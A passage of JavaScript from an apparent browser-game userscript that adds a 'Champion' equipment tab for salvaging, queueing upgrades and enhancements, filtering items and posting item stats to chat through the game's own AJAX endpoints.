               else document.getElementById('chSalvageFAV'+k).innerHTML = '<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAMAAADXqc3KAAADAFBMVEX////4+Pj7+/v39/f5+fn6+vr29vby8vL09PTz8/P+/v78/Pzd3d3Nzc3v7++tra3r6+v9/f3n5+fs7Ozt7e24uLjQ0NDx8fHV1dXo6OjJycnl5eXc3NyoqKje3t7Hx8fS0tK+vr66urrZ2dnw8PDMzMzq6urFxcW5ubnk5OTj4+Pi4uLR0dGwsLDBwcG1tbXb29vLy8vu7u7Dw8P19fXKysrY2Ni3t7ekpKSrq6u0tLTh4eHm5ubW1tanp6eenp7p6emsrKyurq7a2trCwsLPz8/AwMC9vb28vLzf39+zs7PT09PX19f///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADUISnwAAABI0lEQVR4nG2Rh26DMBCGzzmwCXuHBLL33t1tujfv/zqFhjhRyydZ8t0n6+6XIeZEXXIsYuA3R+1sc8UWQC3lCLcGQJY5okIBoM3+CT15AIDaH7Exb0kqICxLB+FMvtof9kqEPcXe9VPg1+QY5r2sJ8tyJgt65TuGxzIqaduyFMWyUqcIrK7F0BzYlAgFjkBIyb80Y6Bv5zeUiKf9F2OcboWv8+GGiBmIumaM9usKM+8ehQzKGsbwkEPwIiQZaHrhMWBfJYg0ARHd1knylk2o9AsltG+dCFcqJrDkSOibXMjNFWP6aLJcOIyxoMGFXmGdUDM+B9WZ6rLonYvF89ifTrsl8cyrrtXA4KK8qz7UnbQiwdXdRZMLRavbh/+RGuvj8Fx+AKn1YdcNFlXFAAAAAElFTkSuQmCC" />';
         }
     }
    var element_class = document.getElementsByClassName('pbChampion');
    var element_classTS = document.getElementsByClassName('pbChampionS');
    var element_classST = document.getElementsByClassName('pbChampionST');
    
    for (k=0;k<element_class.length;k++){
      element_class[k].addEventListener('click', t.saveSalvageOptions , false);
      element_classTS[k].addEventListener ('change', function(e){
         var idnum = parseInt(String(e.target.id).replace("Min",""));
         var type = document.getElementById(idnum).value;
         if (type == 'ALL') {
         ChampionOptions.SalvageA[idnum].Min = e.target.value
         } else {
         ChampionOptions.SalvageA[idnum][type] = e.target.value;
		}
         saveChampionOptions();
         } , false);
      element_classST[k].addEventListener ('change', function(e){
         if (e.target.value == 'ALL') {
         document.getElementById(e.target.id+'Min').value=ChampionOptions.SalvageA[e.target.id].Min;
         } else {
         document.getElementById(e.target.id+'Min').value=ChampionOptions.SalvageA[e.target.id][e.target.value];
		}
         saveChampionOptions();
         } , false);
    }

    t.saveSalvageOptions();
      
    } catch (e) {
      t.Overv.innerHTML = '<PRE>'+ e.name +' : '+ e.message +'</pre>';  
    }
  },
  
setSalvageFAV :function (what){
    var t = Tabs.Champion;  
    if (ChampionOptions.Salvage_fav[what]) ChampionOptions.Salvage_fav[what] = false;
      else  ChampionOptions.Salvage_fav[what] = true;
    for (k in t.championStatEffects){
            if (ChampionOptions.Salvage_fav[k]) document.getElementById('chSalvageFAV'+k).innerHTML = '<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA6lJREFUeNq0VdtLFFEc/mZmXfO2FnaxC8XGhmFZRjeCgiDqJXoIeqkoCIQICnos7Km/oKinQAgCX3qIHoIg6ClQhMguCJa6XrKsLTPNdtu5nL7fnDPuaqv71GG+OTNzzvl+999Y6vVq/DMswubN4VxBfAqAnLoMhVYE6jo2OBk4XPcVsP0Llhox+CXIraLnGZJMqwOwcSf85iOOr8F5rKH0wEK5YYebIqhotvWz4CsFeGhH9XJg514KsM5gGk3IFWuylACfZIFTgJLZ1kJ+k+AndiNvHcemJiDPb3aVA9e6hozS+8oKkMuytM9Dv9vaiiwxoUTjdlTWkhwaTdtl/RxmkMJsWX7GIMt7lkH0hAx65oUg9HcLcRKpZpIrfUIUsCsd+Pl2jPsXylvwiaw/ldbYjfxvb6SWB6n9LcRrJAZci8A9zTvEsnOM0VE8XJdaSoClHqzbB6VO0T1JxiwZpqJigkoK1tYDyS20RmnApG+MGElTse8I01XHuo/nxrkvTYVeYKXTiRNjvqUeb/yN76hCXQJIEKtW6tAIoa/mk4cqGUInipm8cH1ykinNoExNA/EcuZyLOD58L8YMmUBdLInGzZowDFygyZSBMKqi2pirl7kNFMQ0TtDihhVMjgG6nNaEqrrWEbj+KD72ac2zSqoW+GOyxjWx8Qyid1mTPbJXzsh7QO3GBmX9Ck4NPzEC7DRxCPlgAMPvqAl7g2treGUQCuMsteSRfHxE3i/idPpuIYukePL2KHGIB/rw7pU5WKT9YsibefIHyUeFpw3nB+/NT9PCgQniMNO1F0NjBZeUg9RH/4jPsxfQ9qHj3zrw5mmVoT9v4PM344Yy5OKaAbolh0e49P5+6Ur2rELGyMixkflR08P8NSzIJBk1zJzMVGqJZsfm5psm54eBa0F1AqEQz8TCMwi/mYr2jBL1DVL5zbi5NV5aQHjQEOTD1tyMBHPZVYX+VBED1lLTtWx6Ncs0sazJHsvR/4hs0FTaRW6RvTmakacA6f3yPc7DDexF75m+/TOyQ1pjFfbtZ5ugGbN/tPukBmzVwvvb0j+cyAKbFR1zalFdTeI6lj5/hz3dLP9fz7lvD7GBuI3uniz63wCNtKqqkhbSO/FY6yIuijIi/IMlUc8DPovmZQ/wOdPL78eII8RLYpK4SmyBG3Sgq9vHcD+QWi9uTC3yyzStR6OLeIrBoV7OZ4ldxLMFewTsmmgjtmE224mJL2k+d5Ru10rhfw4b/3n8FWAAwna8wfz7wJUAAAAASUVORK5CYII="/>';
               else document.getElementById('chSalvageFAV'+k).innerHTML = '<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAMAAADXqc3KAAADAFBMVEX////4+Pj7+/v39/f5+fn6+vr29vby8vL09PTz8/P+/v78/Pzd3d3Nzc3v7++tra3r6+v9/f3n5+fs7Ozt7e24uLjQ0NDx8fHV1dXo6OjJycnl5eXc3NyoqKje3t7Hx8fS0tK+vr66urrZ2dnw8PDMzMzq6urFxcW5ubnk5OTj4+Pi4uLR0dGwsLDBwcG1tbXb29vLy8vu7u7Dw8P19fXKysrY2Ni3t7ekpKSrq6u0tLTh4eHm5ubW1tanp6eenp7p6emsrKyurq7a2trCwsLPz8/AwMC9vb28vLzf39+zs7PT09PX19f///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADUISnwAAABI0lEQVR4nG2Rh26DMBCGzzmwCXuHBLL33t1tujfv/zqFhjhRyydZ8t0n6+6XIeZEXXIsYuA3R+1sc8UWQC3lCLcGQJY5okIBoM3+CT15AIDaH7Exb0kqICxLB+FMvtof9kqEPcXe9VPg1+QY5r2sJ8tyJgt65TuGxzIqaduyFMWyUqcIrK7F0BzYlAgFjkBIyb80Y6Bv5zeUiKf9F2OcboWv8+GGiBmIumaM9usKM+8ehQzKGsbwkEPwIiQZaHrhMWBfJYg0ARHd1knylk2o9AsltG+dCFcqJrDkSOibXMjNFWP6aLJcOIyxoMGFXmGdUDM+B9WZ6rLonYvF89ifTrsl8cyrrtXA4KK8qz7UnbQiwdXdRZMLRavbh/+RGuvj8Fx+AKn1YdcNFlXFAAAAAElFTkSuQmCC" />';
   }
   t.saveSalvageOptions();
},

setSalvageItem :function (what){
   var t = Tabs.Champion;  
   if(!unsafeWindow.kocChampionItems[what]) {
         t.FillEquipCheckboxes();
      alert('Item has already been deleted');
         return;
   }
   var answer = confirm ("Are you sure you want to delete: " + unsafeWindow.kocChampionItems[what].name);
   if (answer) {
      var cityid = 0;
      for (var k in Cities.byID) {
            if (Seed.resources["city"+k]["rec5"][0] < 1000000)
            {
               cityid = k;
               break;
            }
      }
      if (cityid == 0) cityid = Seed.cities[0][0];
      var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
//      params.ctrl = 'ChampionRoom\\ChampionRoomServiceAjax';
      params.action = 8;
      params.eids = what;
      params.cityId = cityid;
            new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/ceEquipmentManagerAjax.php" + unsafeWindow.g_ajaxsuffix, {
            method: "post",
            parameters: params,
            loading: true,
            onSuccess: function (transport) {
               var rslt = eval("(" + transport.responseText + ")");
               if(rslt.ok) {
                  unsafeWindow.kocChampionItems[params.eids].salvage();
                  t.FillEquipCheckboxes();
               }
            },
            onFailure: function () {
                  return;
            },
         });
   }
},
Upgrade_Enhance :function (){
    var t = Tabs.Champion;  
    try {      
      var m = '<DIV id=pbTowrtDivF class=pbStat>AUTOMATED UPGRADE/ENHANCE/REPAIR FUNCTION</div><TABLE id=pbbarbingfunctions width=100% height=0% class=pbTab><TR align="center">';
           if (ChampionOptions.Active == false) {
                 m += '<TD><INPUT id=chEnable type=submit value="Queue = OFF"></td>';
           } else {
                m += '<TD><INPUT id=chEnable type=submit value="Queue = ON"></td>';
          }
      m += '<TD><INPUT id=chShowHistory type=submit value="History"></td></table>';
      m += '<table><tr><INPUT id=pbUseChTokens type=checkbox '+ (ChampionOptions.UseTokens?'CHECKED ':'') +'/>&nbsp;Use Tokens when available</tr>';
//      m += '<tr><br>Will use Protection Stone/Lesser Protection stone for Enhance';
//      m += ' <INPUT id=pbUseMO type=checkbox '+ (ChampionOptions.UseMO?'CHECKED ':'') +'/> Also use Mystic Orb/Lesser Mystic Orb</tr>';
      m += '<tr><br>Will use Journeymans Token for Upgrade';
//      m += ' <INPUT id=pbUseST type=checkbox '+ (ChampionOptions.UseST?'CHECKED ':'') +'/> Also use Smith Tokens</tr>';
      m += '</table>';
     m+= '<DIV id=pbTowrtDivF class=pbStat>ADD UPGRADE OR ENHANCE TO QUEUE</div><TABLE class=ptTab><br/>';
      m+='<TR><TD>Champion items:</td><TD><SELECT id=ChampionItems type=list></select></td>';
      m+='<TD><INPUT id=chaddEnhance type=submit value="Enhance"></td>';
      m+='<TD><INPUT id=chaddUpgrade type=submit value="Upgrade"></td>';
      m+='<TD><DIV id=chShowHoover></div></td>';
      m+='</tr></table><br/>';
      m+= '<DIV id=pbTowrtDivF class=pbStat>STATUS</div>';
      m+= '<br/><DIV id=chShowStatus></div></p>';
      m+= '<DIV id=chShowTries></div><br/>';
      m+= '<DIV id=chShowStones></div><br/>';
      m+= '<DIV id=pbTowrtDivF class=pbStat>UPGRADE INFO</div>';
      m+= '<br/><DIV id=chShowInfo></div><br/>';
      m+= '<DIV id=pbTowrtDivF class=pbStat>QUEUE</div>';
      m+= '<br/><DIV id=chShowQueueDiv></div>';
      t.Overv.innerHTML = m;
     
    document.getElementById('ChampionItems').options.length=0;
    for (i in unsafeWindow.kocChampionItems){
        var o = document.createElement("option");
        o.text = unsafeWindow.kocChampionItems[i]["name"]+' ['+unsafeWindow.kocChampionItems[i]["equipmentId"]+']';
        o.value = unsafeWindow.kocChampionItems[i]["equipmentId"];
        document.getElementById("ChampionItems").options.add(o);
    }
    document.getElementById('chaddEnhance').addEventListener ('click', function (){t.addToQueue(document.getElementById('ChampionItems').value,"Enhance");},false);
    document.getElementById('chaddUpgrade').addEventListener ('click', function (){t.addToQueue(document.getElementById('ChampionItems').value,"Upgrade");},false);

    document.getElementById('ChampionItems').addEventListener ('change', function (){t.paintHoover();},false);
      document.getElementById('pbUseChTokens').addEventListener('change', function(){ChampionOptions.UseTokens = document.getElementById('pbUseChTokens').checked;saveChampionOptions();} , false);
//      document.getElementById('pbUseMO').addEventListener('change', function(){ChampionOptions.UseMO = document.getElementById('pbUseMO').checked;saveChampionOptions();} , false);
//      document.getElementById('pbUseLT').addEventListener('change', function(){ChampionOptions.UseLT = document.getElementById('pbUseLT').checked;saveChampionOptions();} , false);
      document.getElementById('chEnable').addEventListener('click', function(){t.toggleChampionState()} , false);
      document.getElementById('chShowHistory').addEventListener('click', function(){t.PaintHistory()} , false);
 
    if (ChampionOptions.Items.length ==0) document.getElementById('chShowStatus').innerHTML = "No items in queue!!";
    else {
//      if(ChampionOptions.Active && ChampionOptions.ibrokeitems.length > 0) setTimeout(t.doRepair,5000);
//      if (ChampionOptions.Active && Seed.queue_Champion.end == undefined) document.getElementById('chShowStatus').innerHTML = "Waiting for timer...";
//      if (ChampionOptions.Active && Seed.queue_Champion.end != undefined) t.setRepairTimer = setInterval (t.repairTimerUpdate,1000);
//      if (!ChampionOptions.Active && Seed.queue_Champion.end != undefined) t.setRepairTimer = setInterval (t.repairTimerUpdate,1000);
//      if (!ChampionOptions.Active && Seed.queue_Champion.end == undefined) document.getElementById('chShowStatus').innerHTML = "Auto Upgrade/Enhance/Repair is OFF.";
      if (ChampionOptions.Active && t.repairEnd == undefined) document.getElementById('chShowStatus').innerHTML = "Waiting for timer...";
      if (ChampionOptions.Active && t.repairEnd != undefined) t.setRepairTimer = setInterval (t.repairTimerUpdate,1000);
      if (!ChampionOptions.Active && t.repairEnd != undefined) t.setRepairTimer = setInterval (t.repairTimerUpdate,1000);
      if (!ChampionOptions.Active && t.repairEnd == undefined) document.getElementById('chShowStatus').innerHTML = "Auto Upgrade/Enhance/Repair is OFF.";
    }
      
  
    if (ChampionOptions.Tries > 0) document.getElementById('chShowTries').innerHTML = "Tries: " + ChampionOptions.Tries + "<br />Good requests: " + ChampionOptions.Good + "   Bad requests: " + ChampionOptions.Bad;
        else document.getElementById('chShowTries').innerHTML = "Tries: --";
       
    if (ChampionOptions.Items.length>0) {t.paintInfo();t.paintStones();t.PaintQueue();}
    
  } catch (e) {
      t.Overv.innerHTML = '<PRE>'+ e.name +' : '+ e.message +'</pre>';  
    }
setInterval(t.paintStones,30000);
},

Compare :function (){
    var t = Tabs.Champion;  
    var amount = 0;
    var WeaponCount =0;
    var ArmorCount = 0;
    var HelmCount = 0;
    var BootCount = 0;
    var ShieldCount = 0;
    var counter = 0;
//    ActiveItems = parseInt(Seed.champion.rowNum)*5;
    ActiveItems = 128;

    for (k in unsafeWindow.kocChampionItems){
      counter++;
      if (counter > ActiveItems) break;
      z = unsafeWindow.kocChampionItems[k];
//TYPE_ID_WEAPON : 1, TYPE_ID_ARMOR : 2, TYPE_ID_HELM : 3, TYPE_ID_BOOTS : 4, TYPE_ID_SHIELD : 5, TYPE_ID_RING : 6, TYPE_ID_RING1 : 6, TYPE_ID_RING2 : 7, TYPE_ID_NECKLACE : 8, TYPE_ID_CLOAK : 9
      if (z.type=="1") WeaponCount++;
      if (z.type=="2") ArmorCount++;
      if (z.type=="3") HelmCount++;
      if (z.type=="4") BootCount++;
      if (z.type=="5") ShieldCount++;
   }  


    try {   
     var m = '<DIV id=pbTowrtDivF class=pbStat>Compare Champion Items</div><br><TABLE id=pbCompareStats width=100% height=0% class=pbTab>';

     m+='<TD>Weapon: ' + WeaponCount + '</td><TD>Armor: ' + ArmorCount+ '</td><TD>Helm: ' + HelmCount+ '</td><TD>Boot: ' + BootCount+ '</td><TD>Shield :' + ShieldCount+ '</td></table><br>';

     m+= '<DIV id=pbChampionMain class=pbStat>Compare Champion Items</div><br>';
     m+='<TABLE id=pbCompareStats width=100% height=0% class=pbTab><TD>Card Type: <SELECT id=chtype type=list></select></td><TD>Card Family: <SELECT id=chfamily type=list></select></td><TD>Effect: <SELECT id=cheffect type=list></select></td></tr><TR><TD>Keyword: <INPUT type=text id=chkeyword size=10></td></tr></table>';


     m+='<br><TABLE id=pbbarbingfunctions width=100% height=0% class=pbTab><TR>';
     for (i=1;i<=ActiveItems;i++){
       m+='<TD><DIV id=DIV'+ i +'></div></td>';
       if (i%3==0) m+='</tr><TR></tr><TR>';
     }

     m+="</tr></table>"

    t.Overv.innerHTML = m;

   document.getElementById("chtype").options.length=0;
   for (k in t.EquipType){
      var y = t.EquipTypeNo[k];
      var yTxt = t.EquipType[k];
      if (typeof(y) == "string") {
//         if (y == "Windows") y = "Window";
         what = y.toLowerCase();
//         if (y == "Chair") y = "Throne";
         var o = document.createElement("option");       
         o.text = yTxt;
         o.value = what;
         document.getElementById("chtype").options.add(o);
      }     
   }  
   document.getElementById("chfamily").options.length=0;
   for (k in t.CardTypes){
      var y = t.CardTypes[k];
      if (typeof(y) == "string") {
         var o = document.createElement("option");       
         o.text = y;
         o.value = y;
         document.getElementById("chfamily").options.add(o);
      }     
   }  
   document.getElementById("cheffect").options.length=0;
   var o = document.createElement("option");       
   o.text = "ALL";
   o.value = "ALL";
   document.getElementById("cheffect").options.add(o);
   for (k in t.championStatEffects){
      var y = t.championStatEffects[k][1];
      if (typeof(y) == "string") {
         var o = document.createElement("option");       
         o.text = t.championStatEffects[k][1];
         o.value = k;
         document.getElementById("cheffect").options.add(o);
      }     
   }  

   document.getElementById("chtype").addEventListener ('change', t.FillEquipCheckboxes,false);
   document.getElementById("chfamily").addEventListener ('change', t.FillEquipCheckboxes,false);
   document.getElementById("cheffect").addEventListener ('change', t.FillEquipCheckboxes,false);
   document.getElementById("chkeyword").addEventListener ('change', t.FillEquipCheckboxes,false);
   document.getElementById('chkeyword').addEventListener('keyup', t.FillEquipCheckboxes, false)
      

   t.FillEquipCheckboxes();
    } catch (e) {
      t.Overv.innerHTML = '<PRE>'+ e.name +' : '+ e.message +'</pre>';  
    }
},


togOpt : function (checkboxId, optionName, callOnChange){
    var t = Tabs.Champion;
    var checkbox = document.getElementById(checkboxId);
    if (Options[optionName])
      checkbox.checked = true;
    checkbox.addEventListener ('change', eventHandler, false);
    function eventHandler (){
      Options[optionName] = this.checked;
      saveOptions();
      if (callOnChange)
        callOnChange (this.checked);
    }
},

changeOpt : function (valueId, optionName, callOnChange){
    var t = Tabs.Champion;
    var e = document.getElementById(valueId);
    e.value = Options[optionName];
    e.addEventListener ('change', eventHandler, false);
    function eventHandler (){
      Options[optionName] = this.value;
      saveOptions();
      if (callOnChange)
        callOnChange (this.value);
    }
},
  
toggleChampionState: function(){
    var t = Tabs.Champion;
    if (ChampionOptions.Active == true) {
            ChampionOptions.Active = false;
            document.getElementById('chEnable').value = "Queue = OFF";
            saveChampionOptions();
            clearTimeout(t.setActionTimer);
//            if (Seed.queue_Champion.end == undefined) document.getElementById('chShowStatus').innerHTML = "Auto Upgrade/Enhance/Repair is OFF.";
            if (t.repairEnd == undefined) document.getElementById('chShowStatus').innerHTML = "Auto Upgrade/Enhance/Repair is OFF.";
    } else {
            ChampionOptions.Active = true;
            document.getElementById('chEnable').value = "Queue = ON";
            saveChampionOptions();
            t.setActionTimer = setInterval(t.doAction,10000);
            document.getElementById('chShowStatus').innerHTML = "Waiting for timer...";
    }
},

_addTab: function(id,name,qualityfrom,qualityto,levelfrom,levelto,action,active,cost){
         var t = Tabs.Champion;
        var a="";
        var b="";
        switch (qualityfrom) {
                case 0:a = unsafeWindow.g_js_strings.throneRoom.simple;break;
                case 1:a = unsafeWindow.g_js_strings.throneRoom.common;break;
                case 2:a = unsafeWindow.g_js_strings.throneRoom.uncommon;break;
                case 3:a = unsafeWindow.g_js_strings.throneRoom.rare;break;
                case 4:a = unsafeWindow.g_js_strings.throneRoom.epic;break;
                case 5:a = unsafeWindow.g_js_strings.throneRoom.wondrous;break;
                case 6:a = unsafeWindow.g_js_strings.throneRoom.unique;break;
                default:a = unsafeWindow.g_js_strings.throneRoom.simple;break;
        }
        switch (qualityto) {
                case 0:b = unsafeWindow.g_js_strings.throneRoom.simple;break;
                case 1:b = unsafeWindow.g_js_strings.throneRoom.common;break;
                case 2:b = unsafeWindow.g_js_strings.throneRoom.uncommon;break;
                case 3:b = unsafeWindow.g_js_strings.throneRoom.rare;break;
                case 4:b = unsafeWindow.g_js_strings.throneRoom.epic;break;
                case 5:b = unsafeWindow.g_js_strings.throneRoom.wondrous;break;
                case 6:b = unsafeWindow.g_js_strings.throneRoom.unique;break;
                default:b = unsafeWindow.g_js_strings.throneRoom.simple;break;
        }
         var row = document.getElementById('chShowQueue').insertRow(0);
         row.vAlign = 'top';
         row.style.color = "black";    
         row.style.background = "rgb(246,243,236)";    
         if (active) row.style.color = "green";     
         row.insertCell(0).innerHTML = id+1;
         row.insertCell(1).innerHTML = name;
         if (action == "Enhance") {
                row.insertCell(2).innerHTML = a + " -> " + b;
                    row.insertCell(3).innerHTML = levelfrom;
         }
         if (action == "Upgrade") {
                row.insertCell(2).innerHTML = a;
                    row.insertCell(3).innerHTML = levelfrom + " -> " + levelto;
         }
         row.insertCell(4).innerHTML = action;
         row.insertCell(5).innerHTML = cost;
         row.insertCell(6).innerHTML = '<a class="button20" id="chqueueDelete_' + id + '"><span>Delete</span></a>';
         document.getElementById('chqueueDelete_' + id).addEventListener('click', function(){
            if (ChampionOptions.Items[id].active ==true) ChampionOptions.Tries=0;
            if (ChampionOptions.Items.length ==0 && ChampionOptions.Active) document.getElementById('chShowStatus').innerHTML = "No items in queue!!";
            if (!ChampionOptions.Active) document.getElementById('chShowStatus').innerHTML = "Auto Upgrade/Enhance/Repair is OFF.";
            ChampionOptions.Items.splice (id,1);
            saveChampionOptions();
            t.checkUpgradeInfo(false);
              t.PaintQueue();
              if (ChampionOptions.Items.length>0) t.paintInfo();
                else document.getElementById('chShowInfo').innerHTML = "";
        }, false);
},
    
     _addTabHeader: function() {
     var t = Tabs.Champion;
         var row = document.getElementById('chShowQueue').insertRow(0);
         row.vAlign = 'top';
         row.style.color = "black";
         row.style.background = "rgb(246,243,236)";    
         row.insertCell(0).innerHTML = "Id";
         row.insertCell(1).innerHTML = "Name";
         row.insertCell(2).innerHTML = "Quality";
         row.insertCell(3).innerHTML = "Level";
         row.insertCell(4).innerHTML = "Action";
         row.insertCell(5).innerHTML = "Cost";
         row.insertCell(6).innerHTML = "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
       },

FillEquipCheckboxes: function(){
   var t = Tabs.Champion;
   var familyCheck=false;
   var typeCheck=false;
   var effectCheck=false;
   var keywordCheck=false;  
//   ActiveItems = parseInt(Seed.champion.rowNum)*5;
   ActiveItems = 128;
   for(i=1;i<=ActiveItems;i++) document.getElementById("DIV"+i).innerHTML="";
   counter = 0;
   t.CompPos=0;
   for (k in unsafeWindow.kocChampionItems){
      counter++;
      if (unsafeWindow.seed.champion.equipment[k]) if (unsafeWindow.seed.champion.equipment[k]["repairing"]) {
	 t.repairEnd=unsafeWindow.seed.champion.equipment[k]["eta"];
	 t.repairStart=unsafeWindow.seed.champion.equipment[k]["start"];
      }
      if (counter > ActiveItems) break;
      z = unsafeWindow.kocChampionItems[k];
      familyCheck=false;
      typeCheck=false;
      effectCheck=false;
      keywordCheck=false;
      y = z.effects;
      if (z.type==document.getElementById("chtype").value || "all" == document.getElementById("chtype").value) typeCheck=true;

      for (i=1;i<=5;i++){
            effect = t.championStatEffects[y[''+i].id][2];
            if (effect == document.getElementById("chfamily").value || "ALL" == document.getElementById("chfamily").value) familyCheck = true;
            if (y[''+i].id == document.getElementById("cheffect").value || "ALL" == document.getElementById("cheffect").value) effectCheck = true;
            var str = String(t.championStatEffects[y[''+i].id][1]);
            if (str.search(new RegExp(String(document.getElementById("chkeyword").value), "i")) != -1 || document.getElementById("chkeyword").value=="") keywordCheck=true;
      }

      if (typeCheck && familyCheck && effectCheck && keywordCheck){
         t.CompPos++;
         t.paintEquipInfo(z.equipmentId,t.CompPos);
      }
   }  
},

/***
doPreset : function (room, retry) {
        var t = Tabs.Champion;    
        actionLog('changing to tr '+room);
	var div;
   if(isNaN(retry))retry=0;
   if(retry > 15) {if(document.getElementById('ChampionTRS'))document.getElementById('ChampionTRS').innerHTML = "<font color=red>failed to change Champion room..Giving Up</font>";return;};

//      if(document.getElementById('ChampionTRS'))
//      document.getElementById('tra'+unsafeWindow.seed.champion.activeSlot).disabled = false;
//      if(document.getElementById('ChampionHUD'))
//      document.getElementById('htra'+unsafeWindow.seed.champion.activeSlot).disabled = false;
      

        var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
//        params.ctrl = 'ChampionRoom\\ChampionRoomServiceAjax';
        params.action = 'setPreset';
        params.presetId = room;
          new AjaxRequest(unsafeWindow.g_ajaxpath + "ajax/_dispatch53.php" + unsafeWindow.g_ajaxsuffix, {
            method: "post",
            parameters: params,
            loading: true,
            onSuccess: function (transport) {
                var rslt = eval("(" + transport.responseText + ")");
                if(rslt.ok){
			if(document.getElementById('tra'+params.presetId)) {
				for(a = 1;a <= Seed.champion.slotNum;a++)
				document.getElementById('tra'+a).disabled = false;
               			document.getElementById('tra'+params.presetId).disabled = true;
			};
			if(document.getElementById('ChampionHUD')) {
				for(a = 1;a <= Seed.champion.slotNum;a++) {
				document.getElementById('htra'+a).disabled = false;
				document.getElementById('htra'+a).className = "pbttabs";
			};
				document.getElementById('htra'+params.presetId).disabled = true;
				document.getElementById('htra'+params.presetId).className = "pbttabsdis";
			};
               		t.TTpaint(params.presetId);
               		if(document.getElementById('ChampionInventoryPreset'+params.presetId))
               		   button = document.getElementById('ChampionInventoryPreset'+params.presetId);
               		else
               		   button = '<li id="ChampionInventoryPreset' + params.presetId + '" class="selected">'+params.presetId+'</li>';
               		   unsafeWindow.cm.ChampionView.clickActivePreset(button);
                	}
                else {
//                    if(document.getElementById('ChampionTRS'))document.getElementById('ChampionTRS').innerHTML = "<font color=red>failed to change Champion room..Trying Again</font>";
//		    else {
//		      div = document.createElement('div');
//		      div.innerHTML = '<DIV style="font-size:18px; background-color:#a00; color:#fff"><CENTER><BR>failed to change Champion room..Trying Again<BR></div>';
//		      document.body.insertBefore (div, document.body.firstChild);
//		    }
                    setTimeout(function (){t.doPreset(room,Number(retry+1))},3000);
                }
            },
            onFailure: function () {
//                    if(document.getElementById('ChampionTRS'))document.getElementById('ChampionTRS').innerHTML = "<font color=red>failed to change Champion room..Trying Again</font>";
//		    else {
//		      div = document.createElement('div');
//		      div.innerHTML = '<DIV style="font-size:18px; background-color:#a00; color:#fff"><CENTER><BR>failed to change Champion room..Trying Again<BR></div>';
//		      document.body.insertBefore (div, document.body.firstChild);
//		    }
               setTimeout(function (){t.doPreset(room,Number(retry+1))},3000);
            },
        });

},
***/


fupgenh: function (z){
var t = Tabs.Champion;
document.getElementById("ptmrcxSubUE").click()
		 document.getElementById("ChampionItems").value = z;
},

postInfo : function (z){
	var t = Tabs.Champion;
	var y = unsafeWindow.kocChampionItems[z];
	var l = unsafeWindow.kocChampionItems[z].rarity
	var m = ':::.|'+y.name;
    for (i=1;i<=5;i++){
		id = y["effects"][""+i]["id"];
		if (id == undefined)continue;
		tier = parseInt(y["effects"][""+i]["tier"]);
		level = y["level"];
        	p = t.championStatTiers[id][tier];
 		Current = p.base + ((level * level + level) * p.growth * 0.5);
		m+='||'+Current + "% " + t.championStatEffects[id]["1"];
	};
	sendChat ("/a "+  m);
},


paintEquipInfo : function (z,what){
      var t = Tabs.Champion;
      var m='';
      var color = "black";
      if (typeof(unsafeWindow.kocChampionItems[z]) == 'object') var y = unsafeWindow.kocChampionItems[z];
      else return;
        var id =0;
        var tier=0;
        var Current=0;
